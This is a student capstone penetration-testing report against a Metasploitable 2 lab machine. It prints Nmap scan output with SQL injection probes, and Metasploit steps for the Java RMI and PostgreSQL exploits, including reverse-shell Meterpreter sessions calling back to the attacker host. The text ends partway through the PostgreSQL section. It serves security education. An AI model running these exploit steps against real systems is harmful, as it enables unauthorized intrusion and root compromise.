

# **Information Assurance Capstone: Penetration Testing Simulation and Hardening Plan**

A Written Report (Technical Documentation)

Presented to Dr. Cheryll Ann Feliprada of the  
College of Information and Communications Technology  
West Visayas State University  
La Paz, Iloilo City

In Partial Fulfillment  
of the Requirements for the Subject  
CIT 220 - Information Assurance and Security 2

by  
Kent Jasper A. Abella  
Louise Kylle G. Bulan  
John Achilles V. Colon  
Paulo C. Saballa  
Sergei Benjamin S. Tabañar

December 2025

## Table of Contents

Table of Contents.....	ii
CHAPTER 1 INTRODUCTION.....	1
Project Overview.....	1
Project Objectives.....	1
Project Scope and Delimitation.....	2
CHAPTER 2 METHODOLOGY.....	3
Tools Used.....	3
Virtualization Tools.....	3
Penetration Testing Tools.....	4
Detailed Project Instructions.....	5
Ethical Considerations.....	6
CHAPTER 3 VULNERABILITY IDENTIFICATION AND REMEDIATION & HARDENING PROPOSAL.....	7
Phase 1: Planning & Reconnaissance.....	7
Target Selection.....	7
Footprinting.....	8
Phase 2: Vulnerability Analysis & Exploitation.....	15
Vulnerability Scanning.....	15
Exploitation Simulation.....	18
Phase 3: Remediation and Hardening Proposal.....	26
Technical Patches (Immediate Fixes).....	27
Strategic Hardening (Long-Term Policy).....	29
Overall Remediation and Hardening Proposal.....	31
CHAPTER 4 CONCLUSION.....	32
Appendices.....	33

## **CHAPTER 1 INTRODUCTION**

### **Project Overview**

The goal of this capstone project is for our team to act as **Information Security Consultants (Ethical Hackers)**. Our team will conduct a simulated, documented security assessment on a defined target environment (e.g., a vulnerable web application, a simulated internal network, or a self-hosted target machine like a virtual machine designed for penetration testing, such as Metasploitable).

The project is divided into two primary parts: **Vulnerability Identification (LO2)** and **Remediation & Hardening Proposal (LO3)**.

## **Project Objectives**

Upon successful completion of this project, our team will be able to:

- 1. Perform Comprehensive Footprinting:** Systematically gather public and technical information about a target.
- 2. Conduct Vulnerability Analysis:** Use industry-standard tools and techniques to identify and classify security flaws in systems, applications, and network services.
- 3. Simulate Exploitation:** Document the steps a malicious attacker could take to compromise the target, including gaining initial access and escalating privileges (without causing actual damage).
- 4. Develop a Countermeasure Strategy:** Propose specific, detailed, and prioritized technical and policy-based solutions to mitigate the identified threats.
- 5. Communicate Security Risks:** Present complex technical findings and strategic recommendations clearly and concisely to non-technical stakeholders (simulated management).

## **Project Scope and Delimitation**

This project focuses exclusively on conducting a penetration testing simulation and creating a hardening plan based on the top three most critical vulnerabilities found within a controlled virtual machine. The penetration testing targets Metasploitable 2, an intentionally vulnerable Linux-based system. The penetration testing was performed using Oracle VirtualBox with Kali Linux as the attacker machine. The scope of the penetration testing includes footprinting, vulnerability scanning, exploitation simulation, and the development of a remediation and hardening proposal with a two-tiered countermeasure strategy.

The project is limited to environments owned and controlled by the student. No real-world systems, external websites, public networks, or unauthorized targets were tested. Furthermore, the results of the penetration testing are strictly hypothetical and educational. All exploit simulations are documented for learning purposes only, with no intention of causing system damage or altering data.

## CHAPTER 2 METHODOLOGY

### Tools Used

The penetration test was performed using a collection of industry-standard tools commonly employed by ethical hackers and cybersecurity professionals. All tools were used within a legal and isolated virtual environment.

#### ***Virtualization Tools***

The primary virtualization tool that we used was **Oracle VirtualBox**. It was used to host both the attacker and target virtual machines. It provided a controlled network environment where tests could be safely executed. The attacker's virtual machine used was **Kali Linux**, a Debian-based Linux distribution equipped with a wide range of penetration testing tools. The target virtual machine used was **Metasploitable 2**, an intentionally vulnerable Linux system used exclusively for cybersecurity education and penetration testing training.

#### ***Penetration Testing Tools***

The penetration test utilized two primary tools that were essential in identifying vulnerabilities and simulating exploitation within the controlled virtual environment. These tools are **Nmap** and the **Metasploit Framework (MSF)**.

**Nmap** was used for active reconnaissance, which includes port scanning, service enumeration, and discovery of exposed services on the target machine. Nmap identified critical open ports such as PostgreSQL (5432), Java RMI (1099), and UnrealIRCd (6667), which served as the foundation for deeper vulnerability analysis.

Whereas the **Metasploit Framework (MSF)** was used to simulate exploitation of the vulnerabilities discovered during port scanning using Nmap. All exploitation was performed in **msfconsole** within the Oracle VirtualBox environment. Metasploit provided modules for exploiting PostgreSQL weak credentials, Java RMI remote code execution, and the UnrealIRCd backdoor. It also enabled post-exploitation activities such as privilege escalation testing.

## **Detailed Project Instructions**

The instructions used for the project follow three phases and a documentation section:

### ***Phase 1: Planning and Reconnaissance***

This phase involved identifying a legally sanctioned target environment, which was Metasploitable 2, configuring the virtual machines, and gathering initial information through footprinting. Footprinting was conducted to identify open ports, running services, operating system versions, and potential network entry points using tools like Nmap.

## ***Phase 2: Vulnerability Analysis and Exploitation***

Vulnerability scanning was performed through manual checks using Nmap in the Kali Linux virtual machine to identify weaknesses within the Metasploitable target environment. The process included running vulnerability scans, mapping results to known CVEs, and identifying the top three most critical vulnerabilities to serve as the basis for exploitation simulation.

The top three critical vulnerabilities identified were selected for exploitation simulation. For each vulnerability, the methodology involved demonstrating how an attacker could exploit the vulnerability through showing the steps for gaining initial access, showing privilege escalation when applicable, and documenting all commands, results, and screenshots. No destructive actions were performed, and exploitation was restricted to simulation only.

## ***Phase 3: Remediation and Hardening Proposal***

For the three critical vulnerabilities identified, our team proposed a two-tiered countermeasure strategy for immediate fixes and long-term policies (technical patches and strategic hardening), focusing on patching outdated services, strengthening authentication, implementing secure coding practices, and establishing organizational security policies.

### ***Technical Documentation and Written Report***

All findings, procedures, and solutions were compiled into a structured technical report. This includes vulnerability scan results, exploitation simulation documentation, screenshots, remediation and hardening proposal, and appendices. This final phase ensured that complex technical information was presented clearly.

### **Ethical Considerations**

All testing activities were performed exclusively within a controlled, local virtual environment. The target system, Metasploitable 2, is intentionally designed for cybersecurity training and does not require external authorization. No external networks, real organizations, or publicly accessible systems were tested.

Although vulnerabilities were exploited for educational simulation, no destructive or harmful actions were carried out. This includes no deletion or corruption of files, no modification of system configurations, no persistence mechanisms, or malware installation.

Any sensitive data retrieved during tests was kept strictly within the confines of the project and used for documentation only. No information was disclosed outside academic requirements.

All findings, commands, interpretations, and documentation were produced by the student through hands-on testing. Sources used for references, vulnerability verification, and theoretical background were properly cited.

## CHAPTER 3 IMPLEMENTATION OF THE PENETRATION TESTING SIMULATION AND HARDENING PLAN

### Phase 1: Planning & Reconnaissance

#### *Target Selection*

The designated target for this assessment was Metasploitable 2, a purposefully vulnerable Linux server developed for security research and penetration testing exercises. It was deployed in Oracle VirtualBox and assigned a local IP address within the attacker's network. Kali Linux, also running on VirtualBox, served as the penetration testing platform.

The environment was configured in a closed, isolated virtual network to ensure legality, safety, and full containment throughout the assessment.

```
msfadmin@metasploitable:~$ ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 16436 qdisc noqueue
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
        inet6 ::1/128 scope host
            valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast qlen 1000
    link/ether 08:00:27:66:ee:5a brd ff:ff:ff:ff:ff:ff
    inet 192.168.0.5/24 brd 192.168.0.255 scope global eth0
        inet6 fe80::a00:27ff:fe66:ee5a/64 scope link
```

**Figure 1.** Target Virtual Machine (Metasploitable 2)

```
[(kali㉿kali)-[~]]$ ping 192.168.0.5
PING 192.168.0.5 (192.168.0.5) 56(84) bytes of data.
64 bytes from 192.168.0.5: icmp_seq=1 ttl=64 time=11.0 ms
64 bytes from 192.168.0.5: icmp_seq=2 ttl=64 time=3.28 ms
64 bytes from 192.168.0.5: icmp_seq=3 ttl=64 time=2.36 ms
64 bytes from 192.168.0.5: icmp_seq=4 ttl=64 time=2.58 ms
^C
--- 192.168.0.5 ping statistics ---
4 packets transmitted, 4 received, 0% packet loss, time 3004ms
rtt min/avg/max/mdev = 2.360/4.803/10.999/3.593 ms
```

**Figure 2.** Attacker Virtual Machine (Kali Linux): Pinging Metasploitable

## **Footprinting**

Footprinting was conducted using network discovery and port-scanning tools, such as Nmap and Netdiscover.

Nmap was used to enumerate open ports, protocols, and services in Metasploitable 2. Several ports were identified as exposed by the scan, notably ports 1099 (Java RMI Registry), Port 5432 (PostgreSQL), and Port 6667 (UnrealIRCd). These open ports were identified to be the top three most critical vulnerabilities to be used for exploitation simulation.

```
(kali㉿kali)-[~]
└─$ nmap -sS -p- 192.168.0.5
Starting Nmap 7.95 ( https://nmap.org ) at 2025-11-28 07:11 EST
Nmap scan report for 192.168.0.5
Host is up (0.0015s latency).
Not shown: 65505 closed tcp ports (reset)
PORT      STATE SERVICE
21/tcp    open  ftp
22/tcp    open  ssh
23/tcp    open  telnet
25/tcp    open  smtp
53/tcp    open  domain
80/tcp    open  http
111/tcp   open  rpcbind
139/tcp   open  netbios-ssn
445/tcp   open  microsoft-ds
512/tcp   open  exec
513/tcp   open  login
514/tcp   open  shell
1099/tcp  open  rmiregistry
1524/tcp  open  ingreslock
2049/tcp  open  nfs
2121/tcp  open  ccproxy-ftp
3306/tcp  open  mysql
3632/tcp  open  distccd
5432/tcp  open  postgresql
5900/tcp  open  vnc
6000/tcp  open  X11
6667/tcp  open  irc
6697/tcp  open  ircs-u
8009/tcp  open  ajp13
8180/tcp  open  unknown
8787/tcp  open  msgsrvr
42588/tcp open  unknown
51465/tcp open  unknown
57003/tcp open  unknown
57669/tcp open  unknown
MAC Address: 08:00:27:66:EE:5A (PCS Systemtechnik/Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 64.83 seconds
```

**Figure 3.** Nmap Scanning Metasploitable

PORT	SERVICE
21	ftp
22	ssh
23	telnet
25	smtip
53	domain
80	http
111	rpcbind
139	netbios-ssn
445	microsoft-ds
512	exec
513	login
514	shell
1099	rmiregistry
1524	ingreslock
2049	nfs
2121	ccproxy-ftp
3306	mysql
3632	distccd
5432	postgresql
5900	vnc
6000	x11
6667	irc
6697	ircs-u
8009	ajp13
8180	unknown
8787	msgsrvr
42588	unknown
51465	unknown
57003	unknown
57669	unknown

**Table 1.** List of Open Ports and Services

Netdiscover scan was used for Active Footprinting to perform a full TCP port scan, service/version and OS detection, and to enumerate running services, versions, and potential service footprints. The scan revealed critical vulnerabilities, which included Java RMI (port 1099), PostgreSQL (port 5432), and UnrealIRCd (port 6667).

```
(kali㉿kali)-[~]
└─$ sudo nmap -sv -O -p 1-65535 192.168.0.5 -oN metasploitable_scan.txt
[sudo] password for kali:
Starting Nmap 7.95 ( https://nmap.org ) at 2025-11-28 07:13 EST
Nmap scan report for 192.168.0.5
Host is up (0.0036s latency).
Not shown: 65505 closed tcp ports (reset)
PORT      STATE SERVICE VERSION
21/tcp    open  ftp      vsftpd 2.3.4
|_ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_ftp-syst:
|_STAT:
| FTP server status:
|   Connected to 192.168.0.4
|   Logged in as ftp
|   TYPE: ASCII
|   No session bandwidth limit
|   Session timeout in seconds is 300
|   Control connection is plain text
|   Data connections will be plain text
|   vsFTPD 2.3.4 - secure, fast, stable
|_End of status
22/tcp    open  ssh      OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
| ssh-hostkey:
|   1024 60:0f:cfc:e1:c0:5f:6a:74:d6:90:24:fa:c4:d5:6c:cd (DSA)
|   2048 56:56:24:0f:21:1d:de:a7:2b:ae:61:b1:24:3d:e8:f3 (RSA)
23/tcp    open  telnet   Linux telnetd
25/tcp    open  smtp    Postfix smtpd
| ssl-cert: Subject: commonName=ubuntu804-base.localdomain/organizationName=OCOSA/stateOrProvinceName=There is no such thing outside US/countryName=XX
| Not valid before: 2010-03-17T14:07:45
| Not valid after:  2010-04-16T14:07:45
|_smtp-commands: metasploitable.localdomain, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS, ENHANCEDSTATUSCODES, 8BITMIME, DSN
|_ssl-date: 2025-11-28T12:17:05+00:00; +1s from scanner time.
| sslv2:
|_ SSLv2 supported
| ciphers:
|   SSL2_RC4_128_EXPORT40_WITH_MD5
|   SSL2_RC2_128_CBC_EXPORT40_WITH_MD5
```

**Figure 4a.** Netdiscover Scan

```
|_SSL2_RC4_128_WITH_MD5
|_SSL2_DES_64_CBC_WITH_MD5
|_SSL2_DES_192_EDE3_CBC_WITH_MD5
|_SSL2_RC2_128_CBC_WITH_MD5
53/tcp    open  domain   ISC BIND 9.4.2
| dns-nsid:
|_bind.version: 9.4.2
80/tcp    open  http     Apache httpd 2.2.8 ((Ubuntu) DAV/2)
|_http-title: Metasploitable2 - Linux
|_http-server-header: Apache/2.2.8 (Ubuntu) DAV/2
111/tcp   open  rpcbind  2 (RPC #100000)
| rpcinfo:
|   program version  port/proto  service
|   100003 2,3,4    2049/tcp  nfs
|   100003 2,3,4    2049/udp nfs
|   100005 1,2,3    50501/udp mountd
|   100005 1,2,3    57003/tcp mountd
|   100021 1,3,4    42588/tcp nlockmgr
|_ 100021 1,3,4    44347/udp nlockmgr
139/tcp   open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp   open  netbios-ssn Samba smbd 3.0.20-Debian (workgroup: WORKGROUP)
512/tcp   open  exec     netkit-rsh rexecd
513/tcp   open  login    -
514/tcp   open  tcpwrapped
1099/tcp  open  java-rmi  GNU Classpath grmiregistry
1524/tcp  open  bindshell Metasploitable root shell
2049/tcp  open  nfs     2-4 (RPC #100003)
2121/tcp  open  ftp     ProFTPD 1.3.1
3306/tcp  open  mysql   MySQL 5.0.51a-3ubuntu5
| mysql-info:
|   Protocol: 10
|   Version: 5.0.51a-3ubuntu5
|   Thread ID: 8
|   Capabilities flags: 43564
|   Some Capabilities: LongColumnFlag, Support41Auth, ConnectWithDatabase, SupportsCompression, SupportsTransactions, SwitchToSSLAfterHandshake, Speaks41ProtocolNew
|   Status: Autocommit
|_ Salt: *!g7F-hpy/!An)!Y*b20
3632/tcp  open  distccd  distccd v1 ((GNU) 4.2.4 (Ubuntu 4.2.4-1ubuntu4))
5432/tcp  open  postgresql PostgreSQL DB 8.3.0 - 8.3.7
| ssl-cert: Subject: commonName=ubuntu804-base.localdomain/organizationName=OCOSA/stateOrProvinceName=There is
```

**Figure 4b.** Netdiscover Scan

```

no such thing outside US/countryName=XX
| Not valid before: 2010-03-17T14:07:45
|_Not valid after: 2010-04-16T14:07:45
|_ssl-date: 2025-11-28T12:17:00+00:00; +1s from scanner time.
5900/tcp open vnc          VNC (protocol 3.3)
| vnc-info:
|   Protocol version: 3.3
|   Security types:
|_    VNC Authentication (2)
6000/tcp open X11          (access denied)
6667/tcp open irc          UnrealIRCd
| irc-info:
|   users: 1
|   servers: 1
|   lusers: 1
|   lservers: 0
|   server: irc.Metasploitable.LAN
|   version: Unreal3.2.8.1. irc.Metasploitable.LAN
|   uptime: 0 days, 0:14:58
|   source ident: nmap
|   source host: F64EF583.F0D9233E.FFFA6D49.IP
|_  error: Closing Link: swpdmorvw[192.168.0.4] (Quit: swpdmorvw)
6697/tcp open irc          UnrealIRCd
| irc-info:
|   users: 1
|   servers: 1
|   lusers: 1
|   lservers: 0
|   server: irc.Metasploitable.LAN
|   version: Unreal3.2.8.1. irc.Metasploitable.LAN
|   uptime: 0 days, 0:15:01
|   source ident: nmap
|   source host: F64EF583.F0D9233E.FFFA6D49.IP
|_  error: Closing Link: zdwxabwzw[192.168.0.4] (Quit: zdwxabwzw)
8009/tcp open ajp13         Apache Jserv (Protocol v1.3)
|_ajp-methods: Failed to get a valid response for the OPTION request
8180/tcp open http          Apache Tomcat/Coyote JSP engine 1.1
|_http-title: Apache Tomcat/5.5
|_http-server-header: Apache-Coyote/1.1
|_http-favicon: Apache Tomcat
8787/tcp open drb           Ruby DRB RMI (Ruby 1.8; path /usr/lib/ruby/1.8/druby)

```

**Figure 4c.** Netdiscover Scan

```

42588/tcp open  nlockmgr   1-4 (RPC #100021)
51465/tcp open  java-rmi   GNU Classpath grmiregistry
57003/tcp open  mountd     1-3 (RPC #100005)
57669/tcp open  status     1 (RPC #100024)
MAC Address: 08:00:27:66:EE:5A (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 2.6.X
OS CPE: cpe:/o:linux:linux_kernel:2.6
OS details: Linux 2.6.9 - 2.6.33
Network Distance: 1 hop
Service Info: Hosts: metasploitable.localdomain, irc.Metasploitable.LAN; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:
|_smb2-time: Protocol negotiation failed (SMB2)
|_clock-skew: mean: 1h15m01s, deviation: 2h30m00s, median: 0s
| smb-security-mode:
|   account_used: <blank>
|   authentication_level: user
|   challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
| smb-os-discovery:
|   OS: Unix (Samba 3.0.20-Debian)
|   Computer name: metasploitable
|   NetBIOS computer name:
|   Domain name: localdomain
|   FQDN: metasploitable.localdomain
|_ System time: 2025-11-28T07:16:56-05:00
|_nbstat: NetBIOS name: METASPLOITABLE, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)

TRACEROUTE
HOP RTT      ADDRESS
1  3.57 ms 192.168.0.5

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 197.74 seconds

```

**Figure 4d.** Netdiscover Scan

## Phase 2: Vulnerability Analysis & Exploitation

### Vulnerability Scanning

Unauthenticated vulnerability scans were performed using vulnerability scanning tools, like Nmap. The Metasploitable virtual environment demonstrated multiple high-risk services running outdated or misconfigured software.

The three most critical vulnerabilities that were identified and selected for exploitation simulation were:

1. Java RMI Registry (Port 1099)
2. PostgreSQL (Port 5432)
3. UnrealIRCd 3.2.8.1 (Port 6667)

These vulnerabilities were selected due to their high exploitability and potential to be the cause of full system compromise.

```
(kali㉿kali)-[~]
└─$ sudo nmap --script vuln 192.168.0.5
[sudo] password for kali:
Starting Nmap 7.95 ( https://nmap.org ) at 2025-11-28 07:34 EST
Stats: 0:04:07 elapsed; 0 hosts completed (1 up), 1 undergoing Script Scan
NSE Timing: About 99.76% done; ETC: 07:39 (0:00:01 remaining)
Nmap scan report for 192.168.0.5
Host is up (0.00092s latency).
Not shown: 977 closed tcp ports (reset)
PORT      STATE SERVICE
21/tcp    open  ftp
|_ ftp-vsftpd-backdoor:
|   VULNERABLE:
|     vsFTPD version 2.3.4 backdoor
|       State: VULNERABLE (Exploitable)
|       IDs: CVE:2011-2523  BID:48539
|         vsFTPD version 2.3.4 backdoor, this was reported on 2011-07-04.
|         Disclosure date: 2011-07-03
|       Exploit results:
|         Shell command: id
|           Results: uid=0(root) gid=0(root)
|       References:
|         https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-2523
|         https://www.securityfocus.com/bid/48539
|         http://scarybeastsecurity.blogspot.com/2011/07/alert-vsftpd-download-backdoored.html
|         https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/unix/ftp/vsftpd_234_backdoor.rb
22/tcp    open  ssh
23/tcp    open  telnet
```

**Figure 5a.** Vulnerability Scanning

```

25/tcp open smtp
| smtp-vuln-cve2010-4344:
|_ The SMTP server is not Exim: NOT VULNERABLE
| sslv2-drown: ERROR: Script execution failed (use -d to debug)
| ssl-dh-params:
|_ VULNERABLE:
| Anonymous Diffie-Hellman Key Exchange MitM Vulnerability
| State: VULNERABLE
| Transport Layer Security (TLS) services that use anonymous
| Diffie-Hellman key exchange only provide protection against passive
| eavesdropping, and are vulnerable to active man-in-the-middle attacks
| which could completely compromise the confidentiality and integrity
| of any data exchanged over the resulting session.
Check results:
| ANONYMOUS DH GROUP 1
|_ Cipher Suite: TLS_DH_anon_EXPORT_WITH_DES40_CBC_SHA
| Modulus Type: Safe prime
| Modulus Source: Unknown/Custom-generated
| Modulus Length: 512
| Generator Length: 8
| Public Key Length: 512
| References:
| https://www.ietf.org/rfc/rfc2246.txt
Transport Layer Security (TLS) Protocol DHE_EXPORT Ciphers Downgrade MitM (Logjam)
State: VULNERABLE
IDs: CVE-CVE-2015-4000 BID-74733
| The Transport Layer Security (TLS) protocol contains a flaw that is
| triggered when handling Diffie-Hellman key exchanges defined with
| the DHE_EXPORT cipher. This may allow a man-in-the-middle attacker
| to downgrade the security of a TLS session to 512-bit export-grade
| cryptography, which is significantly weaker, allowing the attacker
| to more easily break the encryption and monitor or tamper with
| the encrypted stream.
Disclosure date: 2015-5-19
Check results:
| EXPORT-GRADE DH GROUP 1
|_ Cipher Suite: TLS_DHE_RSA_EXPORT_WITH_DES40_CBC_SHA
| Modulus Type: Safe prime
| Modulus Source: Unknown/Custom-generated
| Modulus Length: 512

```

**Figure 5b.** Vulnerability Scanning

```

53/tcp open domain
80/tcp open http
| http-sql-injection:
| Possible sql for queries:
| http://192.168.0.5:80/dav/7C-ME3B0KJD4%27%200RK20sqlspider
| http://192.168.0.5:80/dav/7C-N3B0KJD082%27%200RK20sqlspider
| http://192.168.0.5:80/dav/7C-SN3B0KJDAA2%27%200RK20sqlspider
| http://192.168.0.5:80/dav/7C-DX3B0KJDAA2%27%200RK20sqlspider
| http://192.168.0.5:80/mutillidae/?page=show-log.php%27%200RK20sqlspider
| http://192.168.0.5:80/mutillidae/index.php?page=home.php&do=toggle-security%27%200RK20sqlspider
| http://192.168.0.5:80/mutillidae/index.php?page=view-home.php%27%200RK20sqlspider
| http://192.168.0.5:80/mutillidae/index.php?page=dns-lookup.php%27%200RK20sqlspider
| http://192.168.0.5:80/mutillidae/index.php?page=credits.php%27%200RK20sqlspider
| http://192.168.0.5:80/mutillidae/index.php?page=register.php%27%200RK20sqlspider
| http://192.168.0.5:80/mutillidae/index.php?page=usage-instructions.php%27%200RK20sqlspider
| http://192.168.0.5:80/mutillidae/index.php?page=password-generator.php%27%200RK20sqlspider&username=anonymous
| http://192.168.0.5:80/mutillidae/index.php?page=pen-test-tool_lookup.php%27%200RK20sqlspider
| http://192.168.0.5:80/mutillidae/index.php?page=user-info.php%27%200RK20sqlspider
| http://192.168.0.5:80/mutillidae/index.php?page=help.php%27%200RK20sqlspider
| http://192.168.0.5:80/mutillidae/index.php?page=secret-administrative-accounts.php%27%200RK20sqlspider
| http://192.168.0.5:80/mutillidae/index.php?page=notes.php%27%200RK20sqlspider
| http://192.168.0.5:80/mutillidae/index.php?page=installation.php%27%200RK20sqlspider
| http://192.168.0.5:80/mutillidae/index.php?page=documentation%2Fvulnerabilities.php%27%200RK20sqlspider
| http://192.168.0.5:80/mutillidae/index.php?page=browse-info.php%27%200RK20sqlspider
| http://192.168.0.5:80/mutillidae/index.php?page=framing.php%27%200RK20sqlspider
| http://192.168.0.5:80/mutillidae/?page=source-viewer.php%27%200RK20sqlspider
| http://192.168.0.5:80/mutillidae/index.php?page=change-log.htm%27%200RK20sqlspider
| http://192.168.0.5:80/mutillidae/index.php?page=php-errors.php%27%200RK20sqlspider
| http://192.168.0.5:80/mutillidae/index.php?page=text-file-viewer.php%27%200RK20sqlspider
| http://192.168.0.5:80/mutillidae/index.php?page=source-viewer.php%27%200RK20sqlspider
| http://192.168.0.5:80/mutillidae/index.php?page=set-background-color.php%27%200RK20sqlspider
| http://192.168.0.5:80/mutillidae/?page=add-to-your-blog.php%27%200RK20sqlspider
| http://192.168.0.5:80/mutillidae/index.php?page=capture-data.php%27%200RK20sqlspider
| http://192.168.0.5:80/mutillidae/index.php?page=comment-form.php%27%200RK20sqlspider
| http://192.168.0.5:80/mutillidae/index.php?page=view-someoneelse-blog.php%27%200RK20sqlspider
| http://192.168.0.5:80/mutillidae/index.php?page=arbitrary-file-inclusion.php%27%200RK20sqlspider
| http://192.168.0.5:80/mutillidae/index.php?page=captured-data.php%27%200RK20sqlspider
| http://192.168.0.5:80/mutillidae/index.php?page=show-log.php%27%200RK20sqlspider

```

**Figure 5c.** Vulnerability Scanning

```

|_ http-trace: TRACE is enabled
|_ http-slowloris-check:
|_ VULNERABLE:
|_ Slowloris DOS attack
|_ State: LIKELY VULNERABLE
|_ IDs: CVE-CVE-2007-6750
|_ Slowloris tries to keep many connections to the target web server open and hold
|_ them open as long as possible. It accomplishes this by opening connections to
|_ the target web server and sending a partial request. By doing so, it starves
|_ the http server's resources causing Denial Of Service.

|_ Disclosure date: 2009-09-17
|_ References:
|_   http://ha.ckers.org/slowloris/
|_   https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-6750
|_ http-csrf:
|_ Spidering limited to: maxdepth=3; maxpagecount=20; withinhost=192.168.0.5
|_ Found the following possible CSRF vulnerabilities:

|_ Path: http://192.168.0.5:80/dwma/
|_ Form id:
|_ Form action: login.php

|_ Path: http://192.168.0.5:80/twiki/TWikiDocumentation.html
|_ Form id:
|_ Form action: http://TWiki.org/cgi-bin/passwd/TWiki/WebHome

|_ Path: http://192.168.0.5:80/twiki/TWikiDocumentation.html
|_ Form id:
|_ Form action: http://TWiki.org/cgi-bin/passwd/Main/WebHome

|_ Path: http://192.168.0.5:80/twiki/TWikiDocumentation.html
|_ Form id:
|_ Form action: http://TWiki.org/cgi-bin/edit/TWiki/

|_ Path: http://192.168.0.5:80/twiki/TWikiDocumentation.html
|_ Form id:
|_ Form action: http://TWiki.org/cgi-bin/view/TWiki/TWikiSkins

```

**Figure 5d.** Vulnerability Scanning

```

|_ Disclosure date: 2009-09-17
|_ References:
|_   http://ha.ckers.org/slowloris/
|_   https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-6750
|_ MAC Address: 08:00:27:66:EE:5A (PCS Systemtechnik/Oracle VirtualBox virtual NIC)

Host script results:
|_ smb-vuln-regsvc-dos: ERROR: Script execution failed (use -d to debug)
|_ smb-vuln-ms10-054: false
|_ smb-vuln-ms10-061: false

Nmap done: 1 IP address (1 host up) scanned in 327.99 seconds

```

**Figure 5e.** Vulnerability Scanning

## *Exploitation Simulation*

## Vulnerability 1: Port 1099 - Java RMI Registry (user/root access)

```
1099/tcp open  rmiregistry
| rmi-vuln-classloader:
|   VULNERABLE:
|     RMI registry default configuration remote code execution vulnerability
|       State: VULNERABLE
|         Default configuration of RMI registry allows loading classes from remote URLs which can lead to remote code execution.
|
| References:
|_   https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/multi/misc/java_rmi_server.rb
```

**Figure 6.** Vulnerability 1: Port 1099 - Java RMI Registry  
(User/Root access)

## *Initial Access*

A severe misconfiguration allowed the Java RMI Registry service to load classes from remote locations.

**Figure 7a.** Port 1099 - Java RMI Registry Initial Access

**Tool Used:** Metasploit(exploit/multi/misc/java\_rmi\_server)

**Steps:**

1. Selected use exploit/multi/misc/java\_rmi\_server.
2. Set RHOST 192.168.0.5 and LHOST 192.168.0.4.
3. Executed the exploit, successfully obtaining remote command execution.

This vulnerability allowed attacker-controlled Java bytecode to run on the target system.

```
msf > use exploit/multi/misc/java_rmi_server
[*] No payload configured, defaulting to java/meterpreter/reverse_tcp
msf exploit(multi/misc/java_rmi_server) > set RHOST 192.168.0.5
RHOST => 192.168.0.5
msf exploit(multi/misc/java_rmi_server) > set LHOST 192.168.0.4
LHOST => 192.168.0.4
msf exploit(multi/misc/java_rmi_server) > exploit
[*] Started reverse TCP handler on 192.168.0.4:4444
[*] 192.168.0.5:1099 - Using URL: http://192.168.0.4:8080/9RJ61e
[*] 192.168.0.5:1099 - Server started.
[*] 192.168.0.5:1099 - Sending RMI Header ...
[*] 192.168.0.5:1099 - Sending RMI Call ...
[*] 192.168.0.5:1099 - Replied to request for payload JAR
[*] Sending stage (58073 bytes) to 192.168.0.5
[*] Meterpreter session 1 opened (192.168.0.4:4444 → 192.168.0.5:53760) at 2025-11-28 08:57:02 -0500
```

**Figure 7b.** Port 1099 – Java RMI Registry Initial Access

**Privilege Escalation**

Due to the access granted by the exploit, root-level privileges could be reached by chaining the RMI exploit with post-exploitation modules.

```
meterpreter > sysinfo
Computer : metasploitable
OS       : Linux 2.6.24-16-server (i386)
Architecture : x86
System Language : en_US
Meterpreter : java/linux
meterpreter > getuid
Server username: root
```

**Figure 8.** Port 1099 – Java RMI Registry Privilege Escalation

## Vulnerability 2: Port 5432 - PostgreSQL

```
5432/tcp open  postgresql
| ssl-ccs-injection:
|   VULNERABLE:
|     SSL/TLS MITM vulnerability (CCS Injection)
|       State: VULNERABLE
|         Risk factor: High
|           OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0.1h
|             does not properly restrict processing of ChangeCipherSpec messages,
|               which allows man-in-the-middle attackers to trigger use of a zero
|                 length master key in certain OpenSSL-to-OpenSSL communications, and
|                   consequently hijack sessions or obtain sensitive information, via
|                     a crafted TLS handshake, aka the "CCS Injection" vulnerability.

| References:
|   http://www.openssl.org/news/secadv_20140605.txt
|   https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-0224
|   http://www.cvedetails.com/cve/2014-0224
```

**Figure 9.** Vulnerability 2: Port 5432 - PostgreSQL

### Initial Access

Using Metasploit's  
exploit/linux/postgres/postgres\_payload, default credentials  
(postgres:postgres) enabled direct unauthorized access to  
the PostgreSQL service.

```
└─(kali㉿kali)-[~]
└─$ msfconsole
Metasploit tip: Display the Framework log using the log command, learn
more with help log

      _\ 
     ((_) o o ((_)) 
    \_o_o \ \ M S F  | \ \
      |||  WW |||  * 
      |||  |||  |

=[ metasploit v6.4.96-dev ] 
+ -- --=[ 2,568 exploits - 1,316 auxiliary - 1,683 payloads ] 
+ -- --=[ 433 post - 49 encoders - 13 nops - 9 evasion ] 

Metasploit Documentation: https://docs.metasploit.com/
The Metasploit Framework is a Rapid7 Open Source Project
```

**Figure 10a.** Port 5432 - PostgreSQL Initial Access

**Tool Used: Metasploit**

(exploit/linux/postgres/postgres\_payload)

**Steps:**

1. Used the module  
    exploit/linux/postgres/postgres\_payload.
2. Set RHOST 192.168.0.5 (Target) and LHOST 192.168.0.4.
3. Executed the exploit, yielding a **low-privileged Meterpreter session** as User: **postgres**.

